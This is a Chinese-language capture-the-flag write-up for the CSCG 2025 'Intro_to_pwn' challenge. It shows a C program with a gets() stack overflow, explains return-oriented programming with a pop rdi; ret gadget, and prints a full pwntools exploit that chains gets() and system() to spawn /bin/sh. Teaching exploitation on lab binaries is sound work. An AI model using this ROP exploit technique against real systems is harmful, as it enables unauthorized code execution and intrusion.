CSCG 2025 Intro_to_pwn Writeup
题目
这道题给了源代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39
| #include <stdio.h> #include <stdlib.h>
void ignore_me_init_buffering() { setvbuf(stdout, NULL, _IONBF, 0); setvbuf(stdin, NULL, _IONBF, 0); setvbuf(stderr, NULL, _IONBF, 0); }
void win() { system("echo no cat /flag for you"); }
void vuln() { char name[16]; printf("What is your name?\n"); gets(name); printf("Hello %s!\nI have a present for you: %d\n", name, 0xc35f); }
int main(int argc, char **argv) { (void)argc; (void)argv;
ignore_me_init_buffering();
vuln(); return 0; }
|
观察/分析
通过阅读源代码即可发现这道题的核心漏洞:
1 2 3
| char name[16]; printf("What is your name?\n"); gets(name);
|
即利用Buffer Overflow。
首先注意到,虽然说直接调用win()
函数并没有任何实际意义,因为它不能帮我们读取flag。但是我们可以利用win()
里调用的system()
函数。
所以我们现在的思路就是想办法调用system()
函数并传入/bin/sh
作为参数。
首先利用pwntools
里的一个函数
1 2 3 4 5 6 7 8
| from pwn import *
elf = context.binary = ELF('./intro-pwn', checksec=False) p = elf.process()
pop_rdi = next(elf.search(asm('pop rdi ; ret'))) print(pop_rdi)
|
可以确定这个程序某个地方使用了pop rdi ; ret
命令并可以找到它的地址。
先来解释一下这个命令:pop rdi ; ret
会从当前栈顶取出一个值放入 rdi
寄存器(即函数第 1 个参数),然后跳转到下一个地址继续执行。
在 x86-64 System V 调用约定中,函数的第一个参数通过 rdi
传递,它传的是值,不是地址;如果这个值是地址类型(如指针),函数内部才会用它当作地址来读取内容。
而ret
命令具体执行的内容是:
- 从
[rsp]
取 8 字节 → 赋值给 rip
(指令指针)
rsp += 8
所以我们可以利用这个命令构造一条这样的ROP链:
1 2 3
| payload += p64(pop_rdi) payload += p64(input_add) payload += p64(function_add)
|
1 2 3
| [RSP] → pop_rdi ; 第一次 ret 跳进这个 gadget [RSP+8] → input_add ; 会被 pop 到 rdi [RSP+16] → function_add ; 再 ret 到这个地址,跳进我们指定的 function_add
|
相当于执行了
不过要注意一点:pop rdi
从栈上弹出 8 字节,这个值将被视为 “地址”。也就是说我们无法直接通过这个命令将/bin/sh
作为参数传递给system()
函数,而是需要将整个过程分2步:
- 通过调用
gets()
函数先将/bin/sh
写入到data段里的某个地方(我们给定的地址);
- 将刚才被写入的地址作为参数传给
system()
。
最后再来确认一下Stack的结构以及我们前面提到的需要的各个地址:
在IDA里点击vuln()
函数的name
:


确认一开始的填充为
1 2
| payload = b"A"*16 payload += b"B"*8
|
通过Alt+t
搜索system
,data
,gets
可以确定:
system
的地址:

gets()
的地址:

Data段
开始的地址:


Exploit
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34
| from pwn import *
elf = context.binary = ELF('./intro-pwn', checksec=False) p = elf.process()
sys_add = 0x401040 gets_add = 0x401060 data_add = 0x404028 pop_rdi = next(elf.search(asm('pop rdi ; ret')))
payload = b"A"*16 payload += b"B"*8
payload += p64(pop_rdi) payload += p64(data_add) payload += p64(gets_add)
payload += p64(pop_rdi) payload += p64(data_add) payload += p64(sys_add)
p.sendlineafter(b'name?\n', payload) p.sendline(b"/bin/sh") p.interactive()
|